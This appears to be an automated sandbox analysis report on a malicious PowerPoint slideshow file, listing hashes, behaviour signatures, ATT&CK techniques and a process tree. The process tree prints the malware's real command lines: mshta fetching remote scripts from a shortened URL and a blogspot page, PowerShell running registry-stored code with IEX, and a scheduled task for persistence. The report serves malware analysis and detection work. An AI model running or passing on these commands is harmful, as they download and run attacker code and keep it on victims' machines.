Analysis

  • max time kernel
    151s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    25-02-2021 02:49

General

  • Target

    0a05b3c30c42b87df3944f1bcdba0db6884734641220790bc86909de80ebfdde.pps

  • Size

    140KB

  • MD5

    aef3c7aa3a68afaa0b1a3540b0952b52

  • SHA1

    01c7fe4b25a0dbc5dd6aa2a24817284859a44aaa

  • SHA256

    0a05b3c30c42b87df3944f1bcdba0db6884734641220790bc86909de80ebfdde

  • SHA512

    1e0576913519310281d3fad4d623209e7d5ac3e731d0348f46413a7cfc853be891b753d8a2474a97c5d902abbb947550e0e7765a2cc44e6d93a540bc2ebae269

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 14 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\0a05b3c30c42b87df3944f1bcdba0db6884734641220790bc86909de80ebfdde.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1824
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1160
      • C:\Windows\SysWOW64\mSHtA.exe
        mSHtA http://12384928198391823%12384928198391823@j.mp/akawdowadkwnduhand
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).cutona)|IEX
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1264
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@mylundisfarbigthenyouthink.blogspot.com/p/35.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:1764
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).btfee)|IEX
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:840
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2016
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1472
      • C:\Windows\SysWOW64\ping.exe
        ping
        2⤵
        • Process spawned unexpected child process
        • Runs ping.exe
        PID:1388
      • C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
        winword
        2⤵
        • Drops file in Windows directory
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:1256

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
      MD5

      5bb6e2ddf2fbe9798097f237f1651a1c

      SHA1

      410e88de8cfcc255fe75cd15a2f0bd5ce367b41c

      SHA256

      948120f6fff92643e41b9304b75e795b9aa1a94f1d836508d05c22eda488d0a2

      SHA512

      81474656db9e9d43f01825883ada8f83a323e683d972fc51127682ad6916f38df3682b269fe375c18f580d3472a8ba19192b3cc275ec58339a06f105733741a4

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03bfaf74-c48a-406b-812c-2684df821d22
      MD5

      597009ea0430a463753e0f5b1d1a249e

      SHA1

      4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

      SHA256

      3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

      SHA512

      5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b0b2f5a-4fa9-4284-9780-9a1da7b14a47
      MD5

      02ff38ac870de39782aeee04d7b48231

      SHA1

      0390d39fa216c9b0ecdb38238304e518fb2b5095

      SHA256

      fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

      SHA512

      24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_85c7c16f-de6b-4cda-bf8a-ede9c5910d3d
      MD5

      df44874327d79bd75e4264cb8dc01811

      SHA1

      1396b06debed65ea93c24998d244edebd3c0209d

      SHA256

      55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

      SHA512

      95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a02197da-f9c8-43e6-9ff1-846e01d2d404
      MD5

      75a8da7754349b38d64c87c938545b1b

      SHA1

      5c28c257d51f1c1587e29164cc03ea880c21b417

      SHA256

      bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

      SHA512

      798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b771b377-145f-49e9-bf64-45e69646f7b9
      MD5

      5e3c7184a75d42dda1a83606a45001d8

      SHA1

      94ca15637721d88f30eb4b6220b805c5be0360ed

      SHA256

      8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

      SHA512

      fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c356f451-13b2-41fc-8d4c-54a293efa6e1
      MD5

      b6d38f250ccc9003dd70efd3b778117f

      SHA1

      d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

      SHA256

      4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

      SHA512

      67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ce569c42-07bf-442e-b377-8e9695c9383c
      MD5

      be4d72095faf84233ac17b94744f7084

      SHA1

      cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

      SHA256

      b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

      SHA512

      43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadf780e-0f00-49bb-86e1-35585efd8a97
      MD5

      a725bb9fafcf91f3c6b7861a2bde6db2

      SHA1

      8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

      SHA256

      51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

      SHA512

      1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      b42a5af4fcdb678e78a36fe580aeab3d

      SHA1

      922c9faaec95ff5dd3cae6372fb4a736ec422eea

      SHA256

      e8e05a442647afc2dfd236dcbd10b87a3a1bbf13b1c2bb8103333b09cedcfc88

      SHA512

      393bf3e4cfdf3573b72a02c8de210cfe78c35247e1c7067808c460400765688a51bb954ed341997141a87cc7f0523ac92aefde389dd6656fd9315945bdb446ff

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      fea562bdc641c6d197268351600aa15d

      SHA1

      4b03a57f838385003a3e142d04bb6c48c537dc82

      SHA256

      77e8305aa9e3b43b47c3ccd2588caed9a681d6c2ba2ca8413e34a37ddbdc0477

      SHA512

      95a3e5ccac6a04c55f547841ff7ef834ea8e816806a4364dc7f5dae07d1cf664e1f06fd298421a241be5de989d8caf141f6282ac0c254c42e26dffb99d533217

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      MD5

      3f6ffd17c797796f87fae5ce0b13301a

      SHA1

      5aa1ca9ac72526252568cef133002ea9948c67fe

      SHA256

      a5accab62de4c863ee6271fa1b7da743bd8bcef0977f3c1a99c6ae468ad0f1ce

      SHA512

      42e0038b6a8147ce87c559fec934b455b39b0682471be0493a982841f033d98414864eb6544e23207bd5faeb98aaa506062ab3759f7113af6099aa5d1ca86bf2

    • memory/840-23-0x000000006A650000-0x000000006AD3E000-memory.dmp
      Filesize

      6.9MB

    • memory/840-29-0x00000000048B0000-0x00000000048B1000-memory.dmp
      Filesize

      4KB

    • memory/840-18-0x0000000000000000-mapping.dmp
    • memory/840-33-0x0000000005160000-0x0000000005161000-memory.dmp
      Filesize

      4KB

    • memory/840-32-0x0000000004872000-0x0000000004873000-memory.dmp
      Filesize

      4KB

    • memory/840-82-0x0000000006610000-0x0000000006611000-memory.dmp
      Filesize

      4KB

    • memory/840-83-0x0000000006620000-0x0000000006621000-memory.dmp
      Filesize

      4KB

    • memory/840-27-0x0000000004870000-0x0000000004871000-memory.dmp
      Filesize

      4KB

    • memory/840-67-0x0000000006470000-0x0000000006471000-memory.dmp
      Filesize

      4KB

    • memory/1000-8-0x000007FEF7FE0000-0x000007FEF825A000-memory.dmp
      Filesize

      2.5MB

    • memory/1020-7-0x0000000000000000-mapping.dmp
    • memory/1160-5-0x0000000000000000-mapping.dmp
    • memory/1160-6-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
      Filesize

      8KB

    • memory/1256-10-0x0000000000000000-mapping.dmp
    • memory/1256-11-0x0000000068ED1000-0x0000000068ED4000-memory.dmp
      Filesize

      12KB

    • memory/1264-16-0x00000000760F1000-0x00000000760F3000-memory.dmp
      Filesize

      8KB

    • memory/1264-15-0x0000000000000000-mapping.dmp
    • memory/1264-40-0x00000000057E0000-0x00000000057E1000-memory.dmp
      Filesize

      4KB

    • memory/1264-45-0x0000000005820000-0x0000000005821000-memory.dmp
      Filesize

      4KB

    • memory/1264-46-0x0000000006300000-0x0000000006301000-memory.dmp
      Filesize

      4KB

    • memory/1264-53-0x0000000006390000-0x0000000006391000-memory.dmp
      Filesize

      4KB

    • memory/1264-35-0x00000000052C0000-0x00000000052C1000-memory.dmp
      Filesize

      4KB

    • memory/1264-31-0x0000000002642000-0x0000000002643000-memory.dmp
      Filesize

      4KB

    • memory/1264-28-0x0000000002640000-0x0000000002641000-memory.dmp
      Filesize

      4KB

    • memory/1264-25-0x0000000000580000-0x0000000000581000-memory.dmp
      Filesize

      4KB

    • memory/1264-24-0x000000006A650000-0x000000006AD3E000-memory.dmp
      Filesize

      6.9MB

    • memory/1264-39-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/1264-62-0x00000000063C0000-0x00000000063C1000-memory.dmp
      Filesize

      4KB

    • memory/1388-9-0x0000000000000000-mapping.dmp
    • memory/1472-19-0x0000000000000000-mapping.dmp
    • memory/1764-17-0x0000000000000000-mapping.dmp
    • memory/1824-2-0x0000000074311000-0x0000000074315000-memory.dmp
      Filesize

      16KB

    • memory/1824-14-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1824-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1824-3-0x00000000719D1000-0x00000000719D3000-memory.dmp
      Filesize

      8KB

    • memory/2016-20-0x0000000000000000-mapping.dmp